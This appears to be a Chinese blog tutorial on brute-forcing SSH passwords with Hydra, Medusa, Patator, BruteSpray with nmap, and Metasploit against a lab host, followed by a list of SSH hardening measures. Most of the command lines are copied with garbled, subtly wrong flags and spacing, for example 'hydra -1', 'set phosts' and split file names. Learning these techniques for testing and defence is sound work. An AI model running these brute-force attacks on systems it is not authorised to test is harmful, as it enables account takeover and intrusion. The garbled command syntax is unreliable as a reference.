一、Hydra(海德拉)

Hydra是世界顶级密码暴力破解工具,支持几乎所有协议的在线密码破解,功能强大,其密码能否被破解关键取决于破解字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具。

1.1 指定用户破解

Examples:

hydra -1 user -P passlist. txt ftp://192.168.0.1
hydra -L userlist.txt -P defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001 :db8::1]: 143/TLS:DIGEST-MD5
hydra -1 admin -p password ftp://[192.168.0.0/24]/
hydra -L logins .txt -P pws.txt -M targets.txt ssh

root@kali:~# hydra -1 root -P pass.dic 192.168.106.134 ssh

二、Medusa(美杜莎)

Medusa是一个速度快,支持大规模并行,模块化,爆破登录。可以同时对多个主机,用户或密码执行强力测试。Medusa和Hydra意义,属于在线密码破解工具。不同的是,Medusa的稳定性相较于Hydra好很多,但支持的模块要比Hydra少一些。

2.1 语法参数

Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]

  • -h [TEXT] 目标主机名称或者IP地址
  • -H [FILE] 包含目标主机名称或者IP地址文件
  • -u [TEXT] 测试的用户名
  • -U [FILE] 包含测试的用户名文件
  • -P [TEXT] 测试的密码
  • -P [FILE] 包含测试的密码文件
  • -C [FILE] 组合条目文件
  • -0 [FILE] 日志信息文件
  • -e [n/s/ns] n代表空密码, s代表为密码与用户名相同
  • -M [TEXT] 模块执行名称
  • -m [TEXT] 传递参数到模块
  • -d 显示所有的模块名称
  • -n [NUM] 使用非默认Tcp端口
  • -S 启用SSL
  • -r [NUM] 重试间隔时间,默认为3秒
  • -t [NUM] 设定线程数量
  • -T 同时测试的主机总数
  • -L 并行化,每个用户使用一个线程
  • -f 在任何主机上找到第一个账号/密码后,停止破解
  • -F 在任何主机上找到第一个有效的用户名/密码后停止审计
  • -9 显示模块的使用信息
  • -V [NUM] 详细级别(0-6)
  • -W [NUM] 错误调试级别(0-10 )
  • -V 显示版本
  • -Z [TEXT] 继续扫描_上一-次

2.2 破解SSH密码

root@kali:~# medusa -M ssh -h 192.168.106.134 -U root -P passlist. txt

三、Patator

Patator,强大的命令行暴力破解器。

3.1 破解SSH密码

root@kali:~# patator ssh_ login --help
Patator v0.6 (http://code . google. com/p/patator/)
Usage: ssh_ login <module-options ...> [global-options ...]
Examples:
ssh_ login host=10.0.0.1 user= root password=FILEO 0=pas swords.txt -X
ignore: mesg-' Authentication failed. '
root@kali:~# patator ssh_ login host=192.168. 106.134 user=root password=FILE0 0=passlist . txt
root@kali:~# patator ssh_ login host=192. 168.106.134 user= root password=FILE0 0=passlist.txt \
-X ignore :mesg= ' Authentication failed. '

四、BrutesPray

BruteSpray是一款基于Nmap扫描输出的gnmap/XMl文件,自动调用Medusa对服务进行爆破。

root@kali:~# apt-get update
root@kali:~# apt-get install brutespray

4.1 语法参数

  • -f FILE, --file FILE 参数后跟一 个文件名,解析nmap输出的GNMAP或者XML文件
  • -o OUTPUT, --output OUTPUT 包含成功尝试的目录下
  • -s SERVICE, --service SERVICE 参数后跟-个服务名,指定要攻击的服务
  • -t THREADS, --threads THREADS参 数后跟一数值, 指定medus a线程数
  • -T HOSTS, --hosts HOSTS K参数后跟一数值,指定同时测试的主机数
  • -U USERLIST, --userlist USERLIST 参数后跟用户字典文件
  • -P PASSLIST, --passlist PASSLIST 参数后跟密码字典文件
  • -u USERNAME, --username USERNAME 参数后跟用户名,指定一个用户名进行爆破
  • -p PASSWORD, --password PASSWORD 参数后跟密码,指定一个密码进行爆破
  • -C,–continuous 成功之后继续爆破
  • -i, – interactive 交互模式

4.2 nmap扫描

root@kali:~# nmap -V 192.168.106.0/24 -oX nmap 。xml
root@kali:~# nmap -A"-p22 -V 192.168.106.0/24 -oX 22. xml
root@kali:~# nmap -sP 192.168.106.0/24 -oX nmaplive. xml
root@kali:~# nmap -sV -0 192.168.106.0/24 -oX nmap. xml

4.3 字典爆破

root@kali :~# brutespray --file 22.xml -U user1ist.txt-p passlist.txt --threads 5 --hosts 5

五、MSF

Metasploit Framework(简称MSF)是一个编写、测试和使用exploit代码的完善环境。这个环境为渗透测试,Shellcode编写和漏洞研究提供了一个可靠的平台,这个框架主要是由面向对象的Perl编程语言编写的,并带有由C语言,汇编程序和Python编写的可选组件。

5.1 SSH模块

root@kali:~# msfconsole
msf > search ssh

5.2 SSH用户枚举

msf > use auxiliary/ scanner/ssh/ssh_ enumusers
msf auxiliary(scanner/ssh/ssh_ enumusers) > set phosts 192.168.106.134
msf auxiliary(scanner/ssh/ssh_ enumusers) > set USER_ FILE /root/userlist.txt
msf auxiliary(scanner/ssh/ssh_ enumusers) > run

5.3 SSH版本探测

msf > use auxiliary/scanner/ssh/ssh_ version
msf auxiliary( scanner/ssh/ssh_ _version) > set rhosts 192. 168.106.134
msf auxiliary( scanner/ssh/ssh_ _version) > run

5.4 SSH暴力破解

msf > use auxiliary/scanner/ssh/ ssh plogin
msf auxiliary( scanner/ssh/ssh_ login) > set rhosts 192. 168.106.134
msf auxiliary(scanner/ssh/ssh_ login) > set USER_ _FILE /root/userlist . txt
msf auxiliary(scanner/ssh/ssh_ login) > set PASS_ _FILE /root/passlist.txt
msf auxiliary(scanner/ssh/ssh_ _login) > run

六、暴力破解防御

6.1 useradd shell [推荐]

[root@tianyun ~]# useradd yangge -S /sbin/nologin

6.2 密码的复杂性[推荐]

字母大小写+数字+特殊字符+20位以上+定期更换

6.3 修改默认端口[推荐]

/etc/ssh/sshd_ config
Port 22222

6.4 限止登录的用户或组[推荐]

#PermitRootLogin yes
AllowUser test [ root@tianyun ~]# man sshd_ config
AllowUsers AllowGroups DenyUsers DenyGroups

6.5 使用sudu(推荐)

6.6 设置允许的IP访问[可选]

/etc/hosts.allow,例如sshd:192. 168.106.167:allow

PAM基于IP限制

iptables/firewalld

只能允许从堡垒机

6.7 使用DenyHosts自动统计,并将其加入到/etc/hosts . deny

6.8 基于PAM实现登录限制[推荐]

模块: pam_ tally2. so

功能:登录统计

示例:实现防止对sshd暴力破解

[root@tianyun ~]# grep tally2 /etc/pam. d/sshd
auth
required
pam_ tally2.so deny=2 even_ deny_ root root_ unlock_ time=60 unlock_ time=6

6.9 禁用密码改用公钥方式认证

/etc/ssh/sshd_ config
Pas swordAuthentication no

6.10 保护xshel1导出会话文件[小心]

SSH密码暴力破解及防御实战的更多相关文章

  1. 开源服务专题之------ssh防止暴力破解及fail2ban的使用方法

    15年出现的JAVA反序列化漏洞,另一个是redis配置不当导致机器入侵.只要redis是用root启动的并且未授权的话,就可以通过set方式直接写入一个authorized_keys到系统的/roo ...

  2. 拒绝ssh远程暴力破解

    拒绝ssh远程暴力破解 简介 在网络技术日益发展的今天,网络上的安全问题日益严重.当你在公网上使用Linux服务器时,很有可能你的服务器正在遭受ssh暴力破解. 曾经有一次我的同伴将给客户提供监控服务 ...

  3. 服务器如何防ssh服务暴力破解??

     如图: 当我们遭到暴力破解ssh服务该怎么办 内行看门道 外行看热闹  下面教大家几招办法: 1 密码足够的复杂,密码的长度要大于8位最好大于20位.密码的复杂度是密码要尽可能有数字.大小写字母和特 ...

  4. SSH防止暴力破解--fail2ban

    一.ssh密钥对无交互登录 实战1:通过密钥进行sshd服务认证 服务端:linl_S    IP:10.0.0.15 客户端:lin_C    IP:10.0.0.16   1)在客户端生成密钥对 ...

  5. fail2ban防护ssh免于暴力破解

    一.背景 开放到公网的主机无时无刻不在遭受攻击,其中ssh暴力破解频率最高,会有无数机器不分日夜地搜索公网上的猎物,然后进行弱密码尝试 如果你的公网机器恰巧设的弱密码,估计刚装上系统,没过几小时别人就 ...

  6. Linux 安装DenyHost防止ssh被暴力破解

    DenyHosts介绍 当你的linux服务器暴露在外网当中时,服务器就极有可能会遭到互联网上的扫描软件进行扫描,然后试图连接ssh端口进行暴力破解(穷举扫描).如果遇到这个问题,一款非常有用的工具D ...

  7. ssh防止暴力破解之fail2ban

    1.利用sshd服务本身防止暴力破解 2.sshd服务防止暴力破解和fail2ban使用方法 先说说一般的防范措施: 方法1: 1.密码足够复杂: 密码的长度要大于8位最好大于14位.密码的复杂度是密 ...

  8. Centos 拒绝ssh远程暴力破解方法

    佳木斯SEO摘要 有一天突然收到一封邮件,邮件内容告知我的ECS服务器作为肉鸡在攻击别的机器,期初一想,一定是我机器的账号密码被泄露,或者是被人暴力破解,于是乎,我就查询了一下我机器的账号登录记录. ...

  9. DenyHosts 安全限制ssh防暴力破解

    DenyHosts是Python语言写的一个程序,它会分析sshd的日志文件(/var/log/secure),当发现重 复的攻击时就会记录IP到/etc/hosts.deny文件,从而达到自动屏IP ...

随机推荐

  1. MySQL为Null会导致5个问题,个个致命!

    在正式开始之前,我们先来看下 MySQL 服务器的配置和版本号信息,如下图所示: "兵马未动粮草先行",看完了相关的配置之后,我们先来创建一张测试表和一些测试数据. -- 如果存在 ...

  2. Linux服务器上搭建测试环境(war包+tomcat)

    悟空CRM项目环境部署(Java war项目) 在/root目录下创建一个文件夹(名字自取). ls命令查看一下是否创建成功,看到了新建的文件夹说明创建成功. tomcat和war包的准备:可以使用X ...

  3. Eclipse 使用svn时出现 “Previous operation has not finished; run 'cleanup' if it was interrupted“问题

    在执行svn操作的时候出现了下面的问题 commit -m "" E:/eclipse/workplace/BRobotAPP/blockly/googleDemo/blockly ...

  4. 三目运算符(C++)

    一.简介 固定格式 ?: 三目运算符:可用于赋值语句 三目运算表达式:<表达式1>?<表达式2>:<表达式3> 注:"?"运算符的含义是: 先求 ...

  5. oracle 客户端与服务器端字符集原理(转自totozlj)

    1.环境假设: 名词解释:应用程序页面即用户在浏览器中看到的页面,一般程序员在写页面的时候都会在页面中设置编码,这个编码也即是数据在浏览器到web服务器间传输的编码,如果不设置则默认iso-8859的 ...

  6. 感谢 Gridea,让我有动力写作

    1. 真的要感谢 Gridea,让我对写作产生热忱.一直有在各大博客平台输出的习惯,但是都没有持续更新.有的平台广告太多,写不下去.有的平台排版复杂,写文章1个小时,排版要2个小时.所以后面换成了静态 ...

  7. NOIP初赛篇——08计算机安全知识

    引言 ​ 计算机安全中最重要的是存储数据的安全,其面临的主要威胁包括:计算机病毒.非法访问.计算机电磁辐射.硬件损坏等. ​ 计算机病毒是附在计算机软件中的隐蔽小程序,它和计算机其他工作程序一样,但会 ...

  8. 对微信小程序的生命周期进行扩展 – Typescript 篇

    最近利用业余时间倒腾了一个微信小程序,主要目的是横向比较一些业界小程序平台的架构和做法.因为有在其他平台长期的开发经验,对于小程序的一些机制做了一些辩证的思考.例如,小程序的页面,其实不是一个页面,而 ...

  9. Head First 设计模式 —— 13. 代理 (Proxy) 模式

    思考题 如何设计一个支持远程方法调用的系统?你要怎样才能让开发人员不用写太多代码?让远程调用看起来像本地调用一样,毫无瑕疵? P435 已经接触过 RPC 了,所以就很容易知道具体流程:客户端调用目标 ...

  10. P2327 [SCOI2005]扫雷(递推)

    题目链接: https://www.luogu.org/problemnew/show/P2327 题目描述 相信大家都玩过扫雷的游戏.那是在一个$n*m$的矩阵里面有一些雷,要你根据一些信息找出雷来 ...